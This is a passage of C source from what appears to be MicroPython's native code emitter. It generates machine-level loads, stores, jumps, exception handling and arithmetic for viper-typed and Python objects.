&vtype_index, REG_ARG_2); } else { emit_pre_pop_reg(emit, &vtype_index, REG_ARG_1); emit_call_with_imm_arg(emit, MP_F_CONVERT_NATIVE_TO_OBJ, vtype_index, REG_ARG_2); // arg2 = type ASM_MOV_REG_REG(emit->as, REG_ARG_2, REG_RET); } emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); emit_call_with_imm_arg(emit, MP_F_OBJ_SUBSCR, (mp_uint_t)MP_OBJ_SENTINEL, REG_ARG_3); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } else { // viper load // TODO The different machine architectures have very different // capabilities and requirements for loads, so probably best to // write a completely separate load-optimiser for each one. stack_info_t *top = peek_stack(emit, 0); if (top->vtype == VTYPE_INT && top->kind == STACK_IMM) { // index is an immediate mp_int_t index_value = top->data.u_imm; emit_pre_pop_discard(emit); // discard index int reg_base = REG_ARG_1; int reg_index = REG_ARG_2; emit_pre_pop_reg_flexible(emit, &vtype_base, ®_base, reg_index, reg_index); switch (vtype_base) { case VTYPE_PTR8: { // pointer to 8-bit memory // TODO optimise to use thumb ldrb r1, [r2, r3] if (index_value != 0) { // index is non-zero #if N_THUMB if (index_value > 0 && index_value < 32) { asm_thumb_ldrb_rlo_rlo_i5(emit->as, REG_RET, reg_base, index_value); break; } #endif ASM_MOV_IMM_TO_REG(emit->as, index_value, reg_index); ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add index to base reg_base = reg_index; } ASM_LOAD8_REG_REG(emit->as, REG_RET, reg_base); // load from (base+index) break; } case VTYPE_PTR16: { // pointer to 16-bit memory if (index_value != 0) { // index is a non-zero immediate #if N_THUMB if (index_value > 0 && index_value < 32) { asm_thumb_ldrh_rlo_rlo_i5(emit->as, REG_RET, reg_base, index_value); break; } #endif ASM_MOV_IMM_TO_REG(emit->as, index_value << 1, reg_index); ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add 2*index to base reg_base = reg_index; } ASM_LOAD16_REG_REG(emit->as, REG_RET, reg_base); // load from (base+2*index) break; } case VTYPE_PTR32: { // pointer to 32-bit memory if (index_value != 0) { // index is a non-zero immediate #if N_THUMB if (index_value > 0 && index_value < 32) { asm_thumb_ldr_rlo_rlo_i5(emit->as, REG_RET, reg_base, index_value); break; } #endif ASM_MOV_IMM_TO_REG(emit->as, index_value << 2, reg_index); ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add 4*index to base reg_base = reg_index; } ASM_LOAD32_REG_REG(emit->as, REG_RET, reg_base); // load from (base+4*index) break; } default: EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't load from '%q'", vtype_to_qstr(vtype_base)); } } else { // index is not an immediate vtype_kind_t vtype_index; int reg_index = REG_ARG_2; emit_pre_pop_reg_flexible(emit, &vtype_index, ®_index, REG_ARG_1, REG_ARG_1); emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); if (vtype_index != VTYPE_INT && vtype_index != VTYPE_UINT) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't load with '%q' index", vtype_to_qstr(vtype_index)); } switch (vtype_base) { case VTYPE_PTR8: { // pointer to 8-bit memory // TODO optimise to use thumb ldrb r1, [r2, r3] ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_LOAD8_REG_REG(emit->as, REG_RET, REG_ARG_1); // store value to (base+index) break; } case VTYPE_PTR16: { // pointer to 16-bit memory ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_LOAD16_REG_REG(emit->as, REG_RET, REG_ARG_1); // load from (base+2*index) break; } case VTYPE_PTR32: { // pointer to word-size memory ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_LOAD32_REG_REG(emit->as, REG_RET, REG_ARG_1); // load from (base+4*index) break; } default: EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't load from '%q'", vtype_to_qstr(vtype_base)); } } emit_post_push_reg(emit, VTYPE_INT, REG_RET); } } STATIC void emit_native_store_fast(emit_t *emit, qstr qst, mp_uint_t local_num) { vtype_kind_t vtype; if (local_num == 0) { emit_pre_pop_reg(emit, &vtype, REG_LOCAL_1); } else if (local_num == 1) { emit_pre_pop_reg(emit, &vtype, REG_LOCAL_2); } else if (local_num == 2) { emit_pre_pop_reg(emit, &vtype, REG_LOCAL_3); } else { emit_pre_pop_reg(emit, &vtype, REG_TEMP0); if (emit->do_viper_types) { ASM_MOV_REG_TO_LOCAL(emit->as, REG_TEMP0, local_num - REG_LOCAL_NUM); } else { ASM_MOV_REG_TO_LOCAL(emit->as, REG_TEMP0, STATE_START + emit->n_state - 1 - local_num); } } emit_post(emit); // check types if (emit->local_vtype[local_num] == VTYPE_UNBOUND) { // first time this local is assigned, so give it a type of the object stored in it emit->local_vtype[local_num] = vtype; } else if (emit->local_vtype[local_num] != vtype) { // type of local is not the same as object stored in it EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "local '%q' has type '%q' but source is '%q'", qst, vtype_to_qstr(emit->local_vtype[local_num]), vtype_to_qstr(vtype)); } } STATIC void emit_native_store_deref(emit_t *emit, qstr qst, mp_uint_t local_num) { DEBUG_printf("store_deref(%s, " UINT_FMT ")\n", qstr_str(qst), local_num); need_reg_single(emit, REG_TEMP0, 0); need_reg_single(emit, REG_TEMP1, 0); emit_native_load_fast(emit, qst, local_num); vtype_kind_t vtype; int reg_base = REG_TEMP0; emit_pre_pop_reg_flexible(emit, &vtype, ®_base, -1, -1); int reg_src = REG_TEMP1; emit_pre_pop_reg_flexible(emit, &vtype, ®_src, reg_base, reg_base); ASM_STORE_REG_REG_OFFSET(emit->as, reg_src, reg_base, 1); emit_post(emit); } STATIC void emit_native_store_name(emit_t *emit, qstr qst) { // mp_store_name, but needs conversion of object (maybe have mp_viper_store_name(obj, type)) vtype_kind_t vtype; emit_pre_pop_reg(emit, &vtype, REG_ARG_2); assert(vtype == VTYPE_PYOBJ); emit_call_with_imm_arg(emit, MP_F_STORE_NAME, qst, REG_ARG_1); // arg1 = name emit_post(emit); } STATIC void emit_native_store_global(emit_t *emit, qstr qst) { vtype_kind_t vtype = peek_vtype(emit, 0); if (vtype == VTYPE_PYOBJ) { emit_pre_pop_reg(emit, &vtype, REG_ARG_2); } else { emit_pre_pop_reg(emit, &vtype, REG_ARG_1); emit_call_with_imm_arg(emit, MP_F_CONVERT_NATIVE_TO_OBJ, vtype, REG_ARG_2); // arg2 = type ASM_MOV_REG_REG(emit->as, REG_ARG_2, REG_RET); } emit_call_with_imm_arg(emit, MP_F_STORE_GLOBAL, qst, REG_ARG_1); // arg1 = name emit_post(emit); } STATIC void emit_native_store_attr(emit_t *emit, qstr qst) { vtype_kind_t vtype_base, vtype_val; emit_pre_pop_reg_reg(emit, &vtype_base, REG_ARG_1, &vtype_val, REG_ARG_3); // arg1 = base, arg3 = value assert(vtype_base == VTYPE_PYOBJ); assert(vtype_val == VTYPE_PYOBJ); emit_call_with_imm_arg(emit, MP_F_STORE_ATTR, qst, REG_ARG_2); // arg2 = attribute name emit_post(emit); } STATIC void emit_native_store_subscr(emit_t *emit) { DEBUG_printf("store_subscr\n"); // need to compile: base[index] = value // pop: index, base, value // optimise case where index is an immediate vtype_kind_t vtype_base = peek_vtype(emit, 1); if (vtype_base == VTYPE_PYOBJ) { // standard Python subscr vtype_kind_t vtype_index = peek_vtype(emit, 0); vtype_kind_t vtype_value = peek_vtype(emit, 2); if (vtype_index != VTYPE_PYOBJ || vtype_value != VTYPE_PYOBJ) { // need to implicitly convert non-objects to objects // TODO do this properly emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_1, 3); adjust_stack(emit, 3); } emit_pre_pop_reg_reg_reg(emit, &vtype_index, REG_ARG_2, &vtype_base, REG_ARG_1, &vtype_value, REG_ARG_3); emit_call(emit, MP_F_OBJ_SUBSCR); } else { // viper store // TODO The different machine architectures have very different // capabilities and requirements for stores, so probably best to // write a completely separate store-optimiser for each one. stack_info_t *top = peek_stack(emit, 0); if (top->vtype == VTYPE_INT && top->kind == STACK_IMM) { // index is an immediate mp_int_t index_value = top->data.u_imm; emit_pre_pop_discard(emit); // discard index vtype_kind_t vtype_value; int reg_base = REG_ARG_1; int reg_index = REG_ARG_2; int reg_value = REG_ARG_3; emit_pre_pop_reg_flexible(emit, &vtype_base, ®_base, reg_index, reg_value); #if N_X86 // special case: x86 needs byte stores to be from lower 4 regs (REG_ARG_3 is EDX) emit_pre_pop_reg(emit, &vtype_value, reg_value); #else emit_pre_pop_reg_flexible(emit, &vtype_value, ®_value, reg_base, reg_index); #endif if (vtype_value != VTYPE_BOOL && vtype_value != VTYPE_INT && vtype_value != VTYPE_UINT) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't store '%q'", vtype_to_qstr(vtype_value)); } switch (vtype_base) { case VTYPE_PTR8: { // pointer to 8-bit memory // TODO optimise to use thumb strb r1, [r2, r3] if (index_value != 0) { // index is non-zero #if N_THUMB if (index_value > 0 && index_value < 32) { asm_thumb_strb_rlo_rlo_i5(emit->as, reg_value, reg_base, index_value); break; } #endif ASM_MOV_IMM_TO_REG(emit->as, index_value, reg_index); #if N_ARM asm_arm_strb_reg_reg_reg(emit->as, reg_value, reg_base, reg_index); return; #endif ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add index to base reg_base = reg_index; } ASM_STORE8_REG_REG(emit->as, reg_value, reg_base); // store value to (base+index) break; } case VTYPE_PTR16: { // pointer to 16-bit memory if (index_value != 0) { // index is a non-zero immediate #if N_THUMB if (index_value > 0 && index_value < 32) { asm_thumb_strh_rlo_rlo_i5(emit->as, reg_value, reg_base, index_value); break; } #endif ASM_MOV_IMM_TO_REG(emit->as, index_value << 1, reg_index); #if N_ARM asm_arm_strh_reg_reg_reg(emit->as, reg_value, reg_base, reg_index); return; #endif ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add 2*index to base reg_base = reg_index; } ASM_STORE16_REG_REG(emit->as, reg_value, reg_base); // store value to (base+2*index) break; } case VTYPE_PTR32: { // pointer to 32-bit memory if (index_value != 0) { // index is a non-zero immediate #if N_THUMB if (index_value > 0 && index_value < 32) { asm_thumb_str_rlo_rlo_i5(emit->as, reg_value, reg_base, index_value); break; } #endif ASM_MOV_IMM_TO_REG(emit->as, index_value << 2, reg_index); #if N_ARM asm_arm_str_reg_reg_reg(emit->as, reg_value, reg_base, reg_index); return; #endif ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add 4*index to base reg_base = reg_index; } ASM_STORE32_REG_REG(emit->as, reg_value, reg_base); // store value to (base+4*index) break; } default: EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't store to '%q'", vtype_to_qstr(vtype_base)); } } else { // index is not an immediate vtype_kind_t vtype_index, vtype_value; int reg_index = REG_ARG_2; int reg_value = REG_ARG_3; emit_pre_pop_reg_flexible(emit, &vtype_index, ®_index, REG_ARG_1, reg_value); emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); if (vtype_index != VTYPE_INT && vtype_index != VTYPE_UINT) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't store with '%q' index", vtype_to_qstr(vtype_index)); } #if N_X86 // special case: x86 needs byte stores to be from lower 4 regs (REG_ARG_3 is EDX) emit_pre_pop_reg(emit, &vtype_value, reg_value); #else emit_pre_pop_reg_flexible(emit, &vtype_value, ®_value, REG_ARG_1, reg_index); #endif if (vtype_value != VTYPE_BOOL && vtype_value != VTYPE_INT && vtype_value != VTYPE_UINT) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't store '%q'", vtype_to_qstr(vtype_value)); } switch (vtype_base) { case VTYPE_PTR8: { // pointer to 8-bit memory // TODO optimise to use thumb strb r1, [r2, r3] #if N_ARM asm_arm_strb_reg_reg_reg(emit->as, reg_value, REG_ARG_1, reg_index); break; #endif ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_STORE8_REG_REG(emit->as, reg_value, REG_ARG_1); // store value to (base+index) break; } case VTYPE_PTR16: { // pointer to 16-bit memory #if N_ARM asm_arm_strh_reg_reg_reg(emit->as, reg_value, REG_ARG_1, reg_index); break; #endif ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_STORE16_REG_REG(emit->as, reg_value, REG_ARG_1); // store value to (base+2*index) break; } case VTYPE_PTR32: { // pointer to 32-bit memory #if N_ARM asm_arm_str_reg_reg_reg(emit->as, reg_value, REG_ARG_1, reg_index); break; #endif ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base ASM_STORE32_REG_REG(emit->as, reg_value, REG_ARG_1); // store value to (base+4*index) break; } default: EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't store to '%q'", vtype_to_qstr(vtype_base)); } } } } STATIC void emit_native_delete_fast(emit_t *emit, qstr qst, mp_uint_t local_num) { // TODO: This is not compliant implementation. We could use MP_OBJ_SENTINEL // to mark deleted vars but then every var would need to be checked on // each access. Very inefficient, so just set value to None to enable GC. emit_native_load_const_tok(emit, MP_TOKEN_KW_NONE); emit_native_store_fast(emit, qst, local_num); } STATIC void emit_native_delete_deref(emit_t *emit, qstr qst, mp_uint_t local_num) { // TODO implement me! (void)emit; (void)qst; (void)local_num; } STATIC void emit_native_delete_name(emit_t *emit, qstr qst) { emit_native_pre(emit); emit_call_with_imm_arg(emit, MP_F_DELETE_NAME, qst, REG_ARG_1); emit_post(emit); } STATIC void emit_native_delete_global(emit_t *emit, qstr qst) { emit_native_pre(emit); emit_call_with_imm_arg(emit, MP_F_DELETE_GLOBAL, qst, REG_ARG_1); emit_post(emit); } STATIC void emit_native_delete_attr(emit_t *emit, qstr qst) { vtype_kind_t vtype_base; emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = base assert(vtype_base == VTYPE_PYOBJ); emit_call_with_2_imm_args(emit, MP_F_STORE_ATTR, qst, REG_ARG_2, (mp_uint_t)MP_OBJ_NULL, REG_ARG_3); // arg2 = attribute name, arg3 = value (null for delete) emit_post(emit); } STATIC void emit_native_delete_subscr(emit_t *emit) { vtype_kind_t vtype_index, vtype_base; emit_pre_pop_reg_reg(emit, &vtype_index, REG_ARG_2, &vtype_base, REG_ARG_1); // index, base assert(vtype_index == VTYPE_PYOBJ); assert(vtype_base == VTYPE_PYOBJ); emit_call_with_imm_arg(emit, MP_F_OBJ_SUBSCR, (mp_uint_t)MP_OBJ_NULL, REG_ARG_3); } STATIC void emit_native_dup_top(emit_t *emit) { DEBUG_printf("dup_top\n"); vtype_kind_t vtype; int reg = REG_TEMP0; emit_pre_pop_reg_flexible(emit, &vtype, ®, -1, -1); emit_post_push_reg_reg(emit, vtype, reg, vtype, reg); } STATIC void emit_native_dup_top_two(emit_t *emit) { vtype_kind_t vtype0, vtype1; emit_pre_pop_reg_reg(emit, &vtype0, REG_TEMP0, &vtype1, REG_TEMP1); emit_post_push_reg_reg_reg_reg(emit, vtype1, REG_TEMP1, vtype0, REG_TEMP0, vtype1, REG_TEMP1, vtype0, REG_TEMP0); } STATIC void emit_native_pop_top(emit_t *emit) { DEBUG_printf("pop_top\n"); emit_pre_pop_discard(emit); emit_post(emit); } STATIC void emit_native_rot_two(emit_t *emit) { DEBUG_printf("rot_two\n"); vtype_kind_t vtype0, vtype1; emit_pre_pop_reg_reg(emit, &vtype0, REG_TEMP0, &vtype1, REG_TEMP1); emit_post_push_reg_reg(emit, vtype0, REG_TEMP0, vtype1, REG_TEMP1); } STATIC void emit_native_rot_three(emit_t *emit) { DEBUG_printf("rot_three\n"); vtype_kind_t vtype0, vtype1, vtype2; emit_pre_pop_reg_reg_reg(emit, &vtype0, REG_TEMP0, &vtype1, REG_TEMP1, &vtype2, REG_TEMP2); emit_post_push_reg_reg_reg(emit, vtype0, REG_TEMP0, vtype2, REG_TEMP2, vtype1, REG_TEMP1); } STATIC void emit_native_jump(emit_t *emit, mp_uint_t label) { DEBUG_printf("jump(label=" UINT_FMT ")\n", label); emit_native_pre(emit); // need to commit stack because we are jumping elsewhere need_stack_settled(emit); ASM_JUMP(emit->as, label); emit_post(emit); } STATIC void emit_native_jump_helper(emit_t *emit, bool pop) { vtype_kind_t vtype = peek_vtype(emit, 0); if (vtype == VTYPE_PYOBJ) { emit_pre_pop_reg(emit, &vtype, REG_ARG_1); if (!pop) { adjust_stack(emit, 1); } emit_call(emit, MP_F_OBJ_IS_TRUE); } else { emit_pre_pop_reg(emit, &vtype, REG_RET); if (!pop) { adjust_stack(emit, 1); } if (!(vtype == VTYPE_BOOL || vtype == VTYPE_INT || vtype == VTYPE_UINT)) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't implicitly convert '%q' to 'bool'", vtype_to_qstr(vtype)); } } // For non-pop need to save the vtype so that emit_native_adjust_stack_size // can use it. This is a bit of a hack. if (!pop) { emit->saved_stack_vtype = vtype; } // need to commit stack because we may jump elsewhere need_stack_settled(emit); } STATIC void emit_native_pop_jump_if(emit_t *emit, bool cond, mp_uint_t label) { DEBUG_printf("pop_jump_if(cond=%u, label=" UINT_FMT ")\n", cond, label); emit_native_jump_helper(emit, true); if (cond) { ASM_JUMP_IF_REG_NONZERO(emit->as, REG_RET, label); } else { ASM_JUMP_IF_REG_ZERO(emit->as, REG_RET, label); } emit_post(emit); } STATIC void emit_native_jump_if_or_pop(emit_t *emit, bool cond, mp_uint_t label) { DEBUG_printf("jump_if_or_pop(cond=%u, label=" UINT_FMT ")\n", cond, label); emit_native_jump_helper(emit, false); if (cond) { ASM_JUMP_IF_REG_NONZERO(emit->as, REG_RET, label); } else { ASM_JUMP_IF_REG_ZERO(emit->as, REG_RET, label); } adjust_stack(emit, -1); emit_post(emit); } STATIC void emit_native_break_loop(emit_t *emit, mp_uint_t label, mp_uint_t except_depth) { (void)except_depth; emit_native_jump(emit, label & ~MP_EMIT_BREAK_FROM_FOR); // TODO properly } STATIC void emit_native_continue_loop(emit_t *emit, mp_uint_t label, mp_uint_t except_depth) { (void)except_depth; emit_native_jump(emit, label); // TODO properly } STATIC void emit_native_setup_with(emit_t *emit, mp_uint_t label) { // the context manager is on the top of the stack // stack: (..., ctx_mgr) // get __exit__ method vtype_kind_t vtype; emit_access_stack(emit, 1, &vtype, REG_ARG_1); // arg1 = ctx_mgr assert(vtype == VTYPE_PYOBJ); emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, 2); // arg3 = dest ptr emit_call_with_imm_arg(emit, MP_F_LOAD_METHOD, MP_QSTR___exit__, REG_ARG_2); // stack: (..., ctx_mgr, __exit__, self) emit_pre_pop_reg(emit, &vtype, REG_ARG_3); // self emit_pre_pop_reg(emit, &vtype, REG_ARG_2); // __exit__ emit_pre_pop_reg(emit, &vtype, REG_ARG_1); // ctx_mgr emit_post_push_reg(emit, vtype, REG_ARG_2); // __exit__ emit_post_push_reg(emit, vtype, REG_ARG_3); // self // stack: (..., __exit__, self) // REG_ARG_1=ctx_mgr // get __enter__ method emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, 2); // arg3 = dest ptr emit_call_with_imm_arg(emit, MP_F_LOAD_METHOD, MP_QSTR___enter__, REG_ARG_2); // arg2 = method name // stack: (..., __exit__, self, __enter__, self) // call __enter__ method emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, 2); // pointer to items, including meth and self emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW, 0, REG_ARG_1, 0, REG_ARG_2); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // push return value of __enter__ // stack: (..., __exit__, self, as_value) // need to commit stack because we may jump elsewhere need_stack_settled(emit); emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_1, sizeof(nlr_buf_t) / sizeof(mp_uint_t)); // arg1 = pointer to nlr buf emit_call(emit, MP_F_NLR_PUSH); ASM_JUMP_IF_REG_NONZERO(emit->as, REG_RET, label); emit_access_stack(emit, sizeof(nlr_buf_t) / sizeof(mp_uint_t) + 1, &vtype, REG_RET); // access return value of __enter__ emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // push return value of __enter__ // stack: (..., __exit__, self, as_value, nlr_buf, as_value) } STATIC void emit_native_with_cleanup(emit_t *emit, mp_uint_t label) { // note: label+1 is available as an auxiliary label // stack: (..., __exit__, self, as_value, nlr_buf) emit_native_pre(emit); emit_call(emit, MP_F_NLR_POP); adjust_stack(emit, -(mp_int_t)(sizeof(nlr_buf_t) / sizeof(mp_uint_t)) - 1); // stack: (..., __exit__, self) // call __exit__ emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none); emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none); emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none); emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, 5); emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW, 3, REG_ARG_1, 0, REG_ARG_2); // jump to after with cleanup nlr_catch block adjust_stack(emit, 1); // dummy nlr_buf.prev emit_native_load_const_tok(emit, MP_TOKEN_KW_NONE); // nlr_buf.ret_val = no exception emit_native_jump(emit, label + 1); // nlr_catch emit_native_label_assign(emit, label); // adjust stack counter for: __exit__, self, as_value adjust_stack(emit, 3); // stack: (..., __exit__, self, as_value, nlr_buf.prev, nlr_buf.ret_val) vtype_kind_t vtype; emit_pre_pop_reg(emit, &vtype, REG_ARG_1); // get the thrown value (exc) adjust_stack(emit, -2); // discard nlr_buf.prev and as_value // stack: (..., __exit__, self) // REG_ARG_1=exc emit_pre_pop_reg(emit, &vtype, REG_ARG_2); // self emit_pre_pop_reg(emit, &vtype, REG_ARG_3); // __exit__ adjust_stack(emit, 1); // dummy nlr_buf.prev emit_post_push_reg(emit, vtype, REG_ARG_1); // push exc to save it for later emit_post_push_reg(emit, vtype, REG_ARG_3); // __exit__ emit_post_push_reg(emit, vtype, REG_ARG_2); // self // stack: (..., exc, __exit__, self) // REG_ARG_1=exc ASM_LOAD_REG_REG_OFFSET(emit->as, REG_ARG_2, REG_ARG_1, 0); // get type(exc) emit_post_push_reg(emit, VTYPE_PYOBJ, REG_ARG_2); // push type(exc) emit_post_push_reg(emit, VTYPE_PYOBJ, REG_ARG_1); // push exc value emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none); // traceback info // stack: (..., exc, __exit__, self, type(exc), exc, traceback) // call __exit__ method emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, 5); emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW, 3, REG_ARG_1, 0, REG_ARG_2); // stack: (..., exc) // if REG_RET is true then we need to replace top-of-stack with None (swallow exception) if (REG_ARG_1 != REG_RET) { ASM_MOV_REG_REG(emit->as, REG_ARG_1, REG_RET); } emit_call(emit, MP_F_OBJ_IS_TRUE); ASM_JUMP_IF_REG_ZERO(emit->as, REG_RET, label + 1); // replace exc with None emit_pre_pop_discard(emit); emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none); // end of with cleanup nlr_catch block emit_native_label_assign(emit, label + 1); } STATIC void emit_native_setup_except(emit_t *emit, mp_uint_t label) { emit_native_pre(emit); // need to commit stack because we may jump elsewhere need_stack_settled(emit); emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_1, sizeof(nlr_buf_t) / sizeof(mp_uint_t)); // arg1 = pointer to nlr buf emit_call(emit, MP_F_NLR_PUSH); ASM_JUMP_IF_REG_NONZERO(emit->as, REG_RET, label); emit_post(emit); } STATIC void emit_native_setup_finally(emit_t *emit, mp_uint_t label) { emit_native_setup_except(emit, label); } STATIC void emit_native_end_finally(emit_t *emit) { // logic: // exc = pop_stack // if exc == None: pass // else: raise exc // the check if exc is None is done in the MP_F_NATIVE_RAISE stub vtype_kind_t vtype; emit_pre_pop_reg(emit, &vtype, REG_ARG_1); // get nlr_buf.ret_val emit_pre_pop_discard(emit); // discard nlr_buf.prev emit_call(emit, MP_F_NATIVE_RAISE); emit_post(emit); } STATIC void emit_native_get_iter(emit_t *emit, bool use_stack) { // perhaps the difficult one, as we want to rewrite for loops using native code // in cases where we iterate over a Python object, can we use normal runtime calls? vtype_kind_t vtype; emit_pre_pop_reg(emit, &vtype, REG_ARG_1); assert(vtype == VTYPE_PYOBJ); if (use_stack) { emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_2, MP_OBJ_ITER_BUF_NSLOTS); emit_call(emit, MP_F_NATIVE_GETITER); } else { // mp_getiter will allocate the iter_buf on the heap ASM_MOV_IMM_TO_REG(emit->as, 0, REG_ARG_2); emit_call(emit, MP_F_NATIVE_GETITER); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } } STATIC void emit_native_for_iter(emit_t *emit, mp_uint_t label) { emit_native_pre(emit); emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_1, MP_OBJ_ITER_BUF_NSLOTS); adjust_stack(emit, MP_OBJ_ITER_BUF_NSLOTS); emit_call(emit, MP_F_NATIVE_ITERNEXT); ASM_MOV_IMM_TO_REG(emit->as, (mp_uint_t)MP_OBJ_STOP_ITERATION, REG_TEMP1); ASM_JUMP_IF_REG_EQ(emit->as, REG_RET, REG_TEMP1, label); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_for_iter_end(emit_t *emit) { // adjust stack counter (we get here from for_iter ending, which popped the value for us) emit_native_pre(emit); adjust_stack(emit, -MP_OBJ_ITER_BUF_NSLOTS); emit_post(emit); } STATIC void emit_native_pop_block(emit_t *emit) { emit_native_pre(emit); emit_call(emit, MP_F_NLR_POP); adjust_stack(emit, -(mp_int_t)(sizeof(nlr_buf_t) / sizeof(mp_uint_t)) + 1); emit_post(emit); } STATIC void emit_native_pop_except(emit_t *emit) { (void)emit; } STATIC void emit_native_unary_op(emit_t *emit, mp_unary_op_t op) { vtype_kind_t vtype; emit_pre_pop_reg(emit, &vtype, REG_ARG_2); if (vtype == VTYPE_PYOBJ) { emit_call_with_imm_arg(emit, MP_F_UNARY_OP, op, REG_ARG_1); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } else { adjust_stack(emit, 1); EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "unary op %q not implemented", mp_unary_op_method_name[op]); } } STATIC void emit_native_binary_op(emit_t *emit, mp_binary_op_t op) { DEBUG_printf("binary_op(" UINT_FMT ")\n", op); vtype_kind_t vtype_lhs = peek_vtype(emit, 1); vtype_kind_t vtype_rhs = peek_vtype(emit, 0); if (vtype_lhs == VTYPE_INT && vtype_rhs == VTYPE_INT) { #if N_X64 || N_X86 // special cases for x86 and shifting if (op == MP_BINARY_OP_LSHIFT || op == MP_BINARY_OP_INPLACE_LSHIFT || op == MP_BINARY_OP_RSHIFT || op == MP_BINARY_OP_INPLACE_RSHIFT) { #if N_X64 emit_pre_pop_reg_reg(emit, &vtype_rhs, ASM_X64_REG_RCX, &vtype_lhs, REG_RET); #else emit_pre_pop_reg_reg(emit, &vtype_rhs, ASM_X86_REG_ECX, &vtype_lhs, REG_RET); #endif if (op == MP_BINARY_OP_LSHIFT || op == MP_BINARY_OP_INPLACE_LSHIFT) { ASM_LSL_REG(emit->as, REG_RET); } else { ASM_ASR_REG(emit->as, REG_RET); } emit_post_push_reg(emit, VTYPE_INT, REG_RET); return; } #endif int reg_rhs = REG_ARG_3; emit_pre_pop_reg_flexible(emit, &vtype_rhs, ®_rhs, REG_RET, REG_ARG_2); emit_pre_pop_reg(emit, &vtype_lhs, REG_ARG_2); if (0) { // dummy #if !(N_X64 || N_X86) } else if (op == MP_BINARY_OP_LSHIFT || op == MP_BINARY_OP_INPLACE_LSHIFT) { ASM_LSL_REG_REG(emit->as, REG_ARG_2, reg_rhs); emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2); } else if (op == MP_BINARY_OP_RSHIFT || op == MP_BINARY_OP_INPLACE_RSHIFT) { ASM_ASR_REG_REG(emit->as, REG_ARG_2, reg_rhs); emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2); #endif } else if (op == MP_BINARY_OP_OR || op == MP_BINARY_OP_INPLACE_OR) { ASM_OR_REG_REG(emit->as, REG_ARG_2, reg_rhs); emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2); } else if (op == MP_BINARY_OP_XOR || op == MP_BINARY_OP_INPLACE_XOR) { ASM_XOR_REG_REG(emit->as, REG_ARG_2, reg_rhs); emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2); } else if (op == MP_BINARY_OP_AND || op == MP_BINARY_OP_INPLACE_AND) { ASM_AND_REG_REG(emit->as, REG_ARG_2, reg_rhs); emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2); } else if (op == MP_BINARY_OP_ADD || op == MP_BINARY_OP_INPLACE_ADD) { ASM_ADD_REG_REG(emit->as, REG_ARG_2, reg_rhs); emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2); } else if (op == MP_BINARY_OP_SUBTRACT || op == MP_BINARY_OP_INPLACE_SUBTRACT) { ASM_SUB_REG_REG(emit->as, REG_ARG_2, reg_rhs); emit_post_push_reg(emit, 